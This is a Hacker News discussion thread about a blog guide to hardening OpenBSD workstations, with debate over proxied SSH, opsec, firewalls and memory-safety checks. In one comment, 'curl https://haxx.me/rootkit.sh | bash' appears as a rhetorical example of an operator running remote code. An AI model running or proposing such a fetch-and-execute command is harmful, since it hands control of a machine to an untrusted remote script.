[HN Gopher] OpenBSD Workstation Hardening
___________________________________________________________________
OpenBSD Workstation Hardening
Author : upofadown
Score : 130 points
Date : 2024-01-03 12:44 UTC (10 hours ago)
(HTM) web link (dataswamp.org)
(TXT) w3m dump (dataswamp.org)
| _joel wrote:
| How come every ssh connection goes via a proxy user? Isn't that
| masking the accounting? Or am I misreading it?
|
| https://dataswamp.org/~solene/2023-12-31-hardened-openbsd-wo...
|
| edit: oh, it's for outbound ssh, but I'm still none the wiser in
| terms of auditing (or what that would do to git clones without
| some modification)
| comprev wrote:
| That sort of hardened environment is what I would expect the
| sysadmins/operators of the darknet marketplaces to run.
|
| Home directories in memory, proxied outbound SSH connections,
| high levels of encryption and absolute minimum installed software
| to do the job required.
|
| The consequences of OpSec failure is.... well, rather serious :)
| paulnpace wrote:
| Especially given that only an admin is likely to have a
| computer with PS/2 ports.
| prmoustache wrote:
| What do you mean? We are talking openBSD, not GNU HURD.
| gosub100 wrote:
| nah they just use SWATd: https://github.com/defuse/swatd
|
| (it was featured on hn a few years back)
| pvg wrote:
| _That sort of hardened environment is what I would expect the
| sysadmins /operators of the darknet marketplaces to run._
|
| That's the impression a lot of these 'hardening guides' give,
| intentionally or not. But fundamentally they're like 'tactical'
| pants except for nerds.
| A4ET8a8uTh0 wrote:
| While I disagree if a given darknet is to remain dark for
| long, this is the funniest comparison I read in a while and I
| am stealing it for future use.
| jandrese wrote:
| The NSA had a hardening guide you could download for free and
| deploy on a Windows system if you so desired.
|
| Following all of the advice in the document was an excellent
| way to end up with a completely useless system. Worse, thanks
| to Windows horrible logging infrastructure it was almost
| impossible to figure out exactly what change was causing a
| particular bit of breakage. You never EVER get an error
| message that reads anything like _"
| HKLM\SYSTEM\CurrentControlSet\Services\Ramdisk" : Permission
| Denied reading key "StartOverride", service halted"_.
|
| Instead it is some generic "the system failed to start"
| message that doesn't help at all.
| zitterbewegung wrote:
| That isn't what they do though. Defcon 30 shared what an actual
| Darknet user did.
|
| https://youtu.be/01oeaBb85Xc?si=6vFztCVsbMKWByVD
| red-iron-pine wrote:
| good presentation. watched it a few weeks back.
|
| > That isn't what they do though. Defcon 30 shared what an
| actual Darknet user did.
|
| and he got arrested, and did actual prison time. now it
| sounds like it wasn't all his technical opsec that got him in
| trouble, but just cuz some dude played fast and loose doesn't
| mean they all do.
|
| the ones who ain't been caught are probably a lot stricter...
| or a lot more lucky.
| zitterbewegung wrote:
| Unfortunately the people who you never hear of are the most
| successful for obvious reasons
| gigatexal wrote:
| Oh man this is hella paranoid security porn ring on a kink.
| Disabling networking for your user? Come on.
| znpy wrote:
| wasn't OpenBSD be supposed to be, and i quote, "secure by
| default" ?
| unethical_ban wrote:
| Time to add "Sec" to your title!
|
| Lesson one: Security is a spectrum. There is a difference
| between "No exploits in our base installation" and "The top
| nation-states of the world may be trying to load software of
| unknown capability onto my networked computer".
| user3939382 wrote:
| In the latter case you should switch to pencil and paper,
| just ask Iran.
| TacticalCoder wrote:
| If Iran had been running their SCADA stuff on hardened
| OpenBSD systems instead of Windows, maybe the story would
| have been different though. I'm not saying it's realistic
| (SCADA drivers may not exist for OpenBSD): what I'm saying
| though is that only a fool would consider Windows as secure
| as OpenBSD.
| red-iron-pine wrote:
| i would have used Russia as an example, such as how they
| said fuck it and switched to old school typewriters.
|
| source: https://www.bbc.com/news/world-europe-23282308
| justsomehnguy wrote:
| By running OpenBSD as a workstation you already made sure what
| 99% wouldn't connect with you /redditmode
|
| This guide is partly Security 101, partly for a localhost admin.
| Things are different when you run an organization with a
| centrally managed catalogue. Or you are sane and have a clear
| picture of the attack vectors.
|
| Least privilege? Yes, of course.
|
| Drop inbound by default? Yes, _of course_ and it 's amazing how
| many self-titled Linux Administrators insist what the machine
| should be 'secure from start so no firewall is needed'. Also this
| guide implies a workspace which questions what exactly kind of
| malicious traffic a [single] OpenBSD machine in the network would
| receive.
|
| Drop outbound by default? Yes and BTW it's pretty easy on
| Windows, because the _Windows Defender Firewall_ (what a
| mouthful) is pretty capable to filter by an application, not just
| by IPs and ports, so you don 't need this SOCKS ersatz app
| firewall.
|
| > Live in a temporary file-system
|
| Now this is just ridiculous. As other said this is Silk Road
| level of paranoia.
|
| > Disable webcam and microphone
|
| Don't connect them in the first place?
|
| > Disabling USB ports
|
| See the temporary file-system. Good luck finding a notebook with
| PS/2 _or serial_ ports.
|
| > auto-updating the packages and base system daily on a computer
| is the minimum that should be done everywhere
|
| Oh god.
|
| > 10.1. Specialized proxies SS
|
| > It could be possible to have different proxy users, with each
| restriction to the remote ports allowed, we could imagine proxies
| like
|
| > Of course, this is even more tedious than the multipurpose
| proxy, but at least, it's harder for a program to guess what
| proxy to use, especially if you don't connect them all at once.
|
| Now this is what bugs me most of this guide.
|
| If you already allowed something to run on your machine then it
| is usually too late for security through obscurity exercises.
| Most of the things advised here would just make your life
| miserable and would lead to disabling or shortcutting them.
| AzuraIsCool wrote:
| What is your proposed alternative for secure, future proof
| deploy?
| justsomehnguy wrote:
| > future proof deploy
|
| Future proof deploy of what exactly?
|
| What is the attack vector? Network, physical, both?
|
| Who is the perpetrator? Nation, criminal, NSA, FSB, your
| disgruntled employee or your {business,sexual} partner trying
| to bury you?
|
| Who is _the operator_ of this machine? Do you trust him or do
| you explicitly do not? Does he runs 'curl
| https://haxx.me/rootkit.sh | bash' every day?
|
| What about maid service?
|
| What services or data is on the machine? Can it be triggered
| to execute something from a 3rd party endpoint? Do the data
| comes from the uncontrolled endpoints (eg Internet but this
| is not the only one vector)?
| 1500100900 wrote:
| I'm surprised that not only is there no application firewall
| for any of the BSDs, there doesn't even seem to be any need for
| it. There is OpenSnitch, but only for Linux.
| lcall wrote:
| Maybe the closest things are chroot jails and pledge/unveil,
| both of which are application-specific or built in to the
| package. (I'm agreeing with you.)
| justsomehnguy wrote:
| Biggest market for BSDs is the server one, so it's a simple
| lack of demand.
|
| SELinux can be somewhat classified as an app firewall but
| it's a policy framework after all and that suited for that.
| anthk wrote:
| >Don't connect them
|
| Good luck with that on laptops.
|
| >PS2
|
| _Most_ touchpads and laptop keyboards are already PS2 bound.
| justsomehnguy wrote:
| _Still._ Things change.
| nonrandomstring wrote:
| > you are sane and have a clear picture of the attack vectors
|
| Security 102: Nobody has a clear picture of the attack vectors.
| SoftTalker wrote:
| One thing I've encountered working with OpenBSD is: change the
| defaults at your peril. The base system is intended to work and
| be secure as-is. If you start "hardening" it, expect odd breakage
| here and there and you will get little sympathy or help from the
| email lists.
| jmclnx wrote:
| In a way you could be right, but in case you did nor know. The
| author is in the OpenBSD Development Team.
|
| So this advice should be fine if you feel you want to follow it
| :)
| SoftTalker wrote:
| Yes, I did know that, was just a general caution that before
| you go twisting knobs, be sure you understand what they do
| and are prepared to diagnose yourself any issues that result.
|
| "Ask me how I know"
| UniverseHacker wrote:
| Don't forget the most important security considerations: (1)
| choose a hardware and OS combination where none of your I/O
| hardware (video, audio, wifi, etc.) is supported, so that it can
| never be used to exploit your system; (2) choose an OS so obscure
| and weird that a potential hacker is guaranteed to have never
| even heard of it, and would need to study your specific machine
| for months to make heads or tails of it
|
| Just joking, I love OpenBSD
| Throw839 wrote:
| Unsupported devices can always become somehow supported and
| enabled. To harden computer, you remove WiFi cards, cut on-
| board antennas, desolder mics and speakers, desolder USB
| ports...
|
| I did that for computer that was used to sign bitcoin
| transactions offline. User typed hashes manually...
| UniverseHacker wrote:
| > Unsupported devices can always become somehow supported and
| enabled
|
| Be very careful if anonymous developers suddenly contribute
| OpenBSD drivers for every single component in the 20 year old
| garage sale laptop you use for hosting an "online store" on
| TOR
| red-iron-pine wrote:
| choose an open source OS that the FBI can download and spend
| months exploiting.
|
| then be an oddball in the ecosystem to the point where you're
| obvious and stand out dramatically.
|
| kinda like how one of the FBI's MONSTER email filters they
| looked for was anything BSD
| tedunangst wrote:
| Presented with the opportunity to learn more about how a system
| works, the HN cries, no, I hate learning.
| TacticalCoder wrote:
| BTW for those who want to learn... All of these (and more) are
| also applicable to Linux.
|
| I'm running very hardened Linux "workstations" and things, once
| setup, just work. I created a shell script verifying lots and
| lots of things and warning me if I forgot to harden something.
| I then simply re-run my script every time I install a new Linux
| (which is not _that_ often). The script even modifies config
| file for me: Setting xyz-fribulator is set to
| 0, although it should be set 2, do you want me to modify
| xxx.cfg for you? [Y/N]
|
| Makes hardening a new system a breeze.
|
| For example I really don't see why a user should see processes
| belonging to other users. I've got about 30 settings like that,
| plus a beefy firewall, plus, as in TFA, a "no sudo / no doas"
| from the regular user rule.
|
| Haters gotta hate, of course.
| monkeywork wrote:
| do you have the scripts up on github?
| hpeter wrote:
| "The OpenBSD malloc system allows you to enable some extra
| checks, like use after free, heap overflow or guard pages..."
|
| How would the added protection compare to safety in rust?
|
| Wouldn't it be useful to develop C on a memory hardened system,
| then deploy anywhere knowing there were checks during
| development? Would that help avoid the memory issues later in
| production?
| steveklabnik wrote:
| Rust's borrow checker does not only check heap memory, it
| checks pointers (references in Rust terminology) to anywhere.
| Additionally, these checks in malloc are at runtime, whereas
| the borrow checker is at compile time.
|
| These checks are good, but they do not go as far as Rust does
| in terms of statically preventing issues.
|
| > Wouldn't it be useful to develop C on a memory hardened
| system, then deploy anywhere knowing there were checks during
| development? Would that help avoid the memory issues later in
| production?
|
| It helps but one aspect of runtime vs compile time checking is
| that for runtime checks, you only get the checks if you
| actually exercise the code path that causes the issue. If you
| ship with some checks on in development, and turn them off in
| release, you run the risk of having missed cases that will
| still cause problems.
|
| All of this is better than doing nothing at all, and is a good
| thing.
| rollcat wrote:
| So there's one idea that sent me thinking: that actually sounds
| reasonable, even if inconvenient - remove self from
| wheel/doas/sudo, and switch VTs to escalate privileges. The
| reason why this is more secure is because no software running as
| an unprivileged user could simulate the physical keystrokes
| necessary for the VT switch. But why does it have to be so
| inconvenient, what if we could eat the cake and have it too?
| Maybe just require pressing a certain key combo on the physical
| keyboard whenever prompted for a password by su/doas/sudo?
|
| Then I remembered! Windows NT did exactly that: you had to press
| ctrl+alt+del to log in.
| thwarted wrote:
| https://linux.die.net/man/1/chvt
|
| But, yes, I get what you're saying. A physical interaction that
| can not be, or is extremely difficult, spoofed via software
| would be valuable here.
| rollcat wrote:
| No chvt on OpenBSD ;)
| groundthrower wrote:
| Why do we always have hardening guides? Ain't there any OS where
| an easening/loosening guide is needed instead?
| AtiRadeon9700 wrote:
| Good point!
|
| I sometimes wish there was a straightforward (and not causing
| reduced functionality) way of configuring a normal Linux distro
| in 'single user' mode.
| lcall wrote:
| You may be describing OpenBSD ("secure by default") and its FAQ
| (how to do what you want with it). The OP's hardening guide
| might be largely seen as going to greater lengths than most
| people need. (I use its advice about umask, though.)
| neilv wrote:
| At one point, SELinux being on by default made one of the Red
| Hat distros a pain. This high-friction first impression cost
| them some adoptions, when an IT manager did a test install. A
| "softening guide" might've helped.
___________________________________________________________________
(page generated 2024-01-03 23:02 UTC)